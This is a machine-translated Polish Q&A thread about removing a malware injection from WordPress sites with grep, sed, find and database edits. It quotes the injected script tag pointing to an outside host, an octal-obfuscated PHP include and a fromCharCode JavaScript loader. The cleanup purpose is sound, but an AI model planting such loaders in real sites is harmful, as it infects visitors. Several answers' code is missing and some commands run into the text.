Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Przeszukałem go za pomocą grep przy użyciu
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Próbuję go zastąpić w całej strukturze pliku sed
i napisałem następujące polecenie.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
Najpierw próbuję zastąpić ciąg w jednym pliku , więc wiem, że to działa.
i wiem, że mój kod jest nieprawidłowy. Proszę, pomóż mi z tym.
Próbowałem z kodem @ Eran, który usunął całą linię, co jest dobre i zgodnie z oczekiwaniami. Jest to jednak ogólny żargon
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
I chociaż chcę usunąć całą zawartość, chcę zachować tag otwierający php <?php
.
Chociaż rozwiązanie @ slybloty jest łatwe i działało.
aby całkowicie usunąć kod ze wszystkich plików, których dotyczy problem. Korzystam z następujących 3 poleceń, dziękuję wam wszystkim za to.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Aby usunąć wiersz skryptufind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Aby usunąć@include
linięfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Aby usunąć wiersz komentarza
Ponownie uruchomiłem wszystkie 3 polecenia '*.html'
, ponieważ skrypt hakera utworzył niepożądany index.html we wszystkich katalogach. Nie byłem pewien, czy usunięcie tych plików index.html luzem jest właściwym podejściem.
teraz wciąż muszę znaleźć niepotrzebne pliki i ich ślady.
Skrypt hakera dodał również kod JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Próbuję zobaczyć, czy mogę to sed
zrobić.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Na przykładsed -i.bak
utworzy*.bak
plik dla wszystkich edytowanych plików. W przypadku użycia zwhile...grep
pętlą tworzy się kopie zapasowe tylko plików zawierających ten ciąg. Przepraszamy za wszystkie dodatkowe komentarze, ale moim zdaniem złośliwe oprogramowanie jest scenariuszem „wszystko pod ręką”.Odpowiedzi:
Użyj podwójnego cudzysłowu (
"
) dla łańcucha i nie unikaj pojedynczych cudzysłowów ('
) ani tagów (<>
). Unikaj tylko ukośników (/
).źródło
Niezależnie od metody, której zdecydujesz się użyć z sedem, możesz uruchomić wiele procesów jednocześnie na wielu plikach z doskonałymi opcjami filtrowania za pomocą
find
ixargs
. Na przykład:To będzie:
find
- odnaleźć-type f
- tylko pliki-name '*.txt'
- ten koniec z php-print0
- pritn je oddzielone zerowymi bajtami| xargs -0
- dla każdego pliku oddzielonego bajtem zerowym-P7
- uruchomić jednocześnie 7 procesów-n1
- dla każdego plikused
- dla każdego pliku uruchom sed-i
- edytuj plik na miejscu'...'
- skrypt sed, który chcesz uruchomić z innych odpowiedzi.Możesz dodać
-t
opcję,xargs
aby zobaczyć postęp. Zobacz man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).źródło
Pojedyncze cudzysłowy są traktowane dosłownie bez znaków specjalnych. W
var='hello\''
masz niezamkniętą wycenę.Aby rozwiązać ten problem: 1) Użyj podwójnych cudzysłowów, aby otoczyć
sed
polecenie LUB 2) Zakończ ciąg pojedynczego cudzysłowu, dodaj\'
i ponownie otwórz ciąg cudzysłowu.Druga metoda jest jednak bardziej myląca.
Dodatkowo
sed
można użyć dowolnego separatora do oddzielenia poleceń. Ponieważ w poleceniach masz ukośniki, łatwiej jest używać przecinków. Na przykład przy użyciu pierwszej metody:Za pomocą drugiej metody:
Ten przykład jest bardziej edukacyjny niż praktyczny. Oto jak
'\''
działa:Po pierwsze
'
: Zakończ bieżący cytowany ciąg literału\'
: Wpisz pojedynczy cudzysłów jako literalny znakPo drugie
'
: Wprowadź ponownie literał ciąg znakówDopóki nie będzie tam spacji, będziesz kontynuował
sed
dowodzenie. Ten pomysł jest unikalny dlabash
.Zostawiam ucieczkę
<
i>
tam, ponieważ nie jestem do końca pewien, do czego tego używasz.sed
używa „\<
i” w\>
celu dopasowania słów. Nie jestem pewien, czy jest to celowe, czy nie.Jeśli to nic nie pasuje, prawdopodobnie chcesz uniknąć ucieczki od
<
i>
.Edycja: Proszę zobaczyć rozwiązanie @ EranBen-Natan w komentarzach, aby uzyskać bardziej praktyczne rozwiązanie rzeczywistego problemu. Moja odpowiedź jest bardziej zasobem wyjaśniającym, dlaczego OP był proszony o więcej danych wejściowych przy użyciu swojego oryginalnego polecenia.
Rozwiązanie do edycji 2
Aby to zadziałało, zakładam, że masz
sed
niestandardową opcję-z
. Wersja GNUsed
powinna to mieć. Przyjmuję również założenie, że ten kod zawsze pojawia się w formacie o długości 6 liniiJak to działa: używamy początku linii fromCharCode, aby dopasować wszystko.
-z
dzieli plik na wartości null zamiast nowych wierszy. To pozwala nam bezpośrednio wyszukiwać informacje o liniach.[^\n]*\n
- To dopasowuje wszystko do wysunięcia wiersza, a następnie dopasowuje wysuw wiersza, unikając chciwego dopasowania wyrażenia regularnego. Ponieważ nie dzielimy na line feeds (-z
), wyrażenie regularnevar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
dopasowuje największe możliwe dopasowanie. Na przykład, jeśli\n}\n
pojawił się gdzieś w dalszej części pliku, usunąłbyś cały kod pomiędzy nim a złośliwym kodem. Zatem powtórzenie tej sekwencji 6 razy dopasowuje nas do końca pierwszej linii, a także kolejnych 5 linii.grep -lr
- Po prostu rekurencyjny, wgrep
którym wymieniliśmy tylko pliki, które mają pasujący wzorzec. W ten sposóbsed
nie jest edytowanie każdego pliku. Bez tego-i.bak
(nie zwykły-i
) zrobiłby bałagan.źródło
rsync
tworzenie kopii zapasowych i przywracanie.Czy masz zainstalowaną wtyczkę wp-mail-smtp? Mamy to samo złośliwe oprogramowanie i mieliśmy w sobie coś dziwnego
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Łącze javascript znajduje się w każdym
post_content
polu wwp_posts
bazie danych WordPress.źródło
super-socialat
, sprawdź to również.Mam dzisiaj to samo, do wszystkich postów na stronie dodano ten paskudny skrypt wirusa
Wyłączyłem go z bazy danych przez
Nie mam przynajmniej zainfekowanych plików
nic nie znalazłem, ale nie mam pojęcia, jak to się dostało do bazy danych, z której wcale nie jestem spokojny.
Ta infekcja spowodowała przekierowania na stronach, chrome najczęściej to wykrywa i blokuje. Nie zauważyłem niczego dziwnego w - /wp-mail-smtp/src/Debug.php
źródło
Mam dzisiaj to samo, wszystkie posty na stronie mają dodany skrypt. Poradziłem sobie z nimi z powodzeniem, używając https://en.wordpress.org/plugins/search-and-replace/ wtyczki.
Ponadto znalazłem również jeden rekord w kolumnie wp_posts w kolumnie post_content następujący łańcuch:
i usunąłem go ręcznie.
źródło
Dla mnie pracował to:
Musisz wyszukać: * .js, * .json, * .map
źródło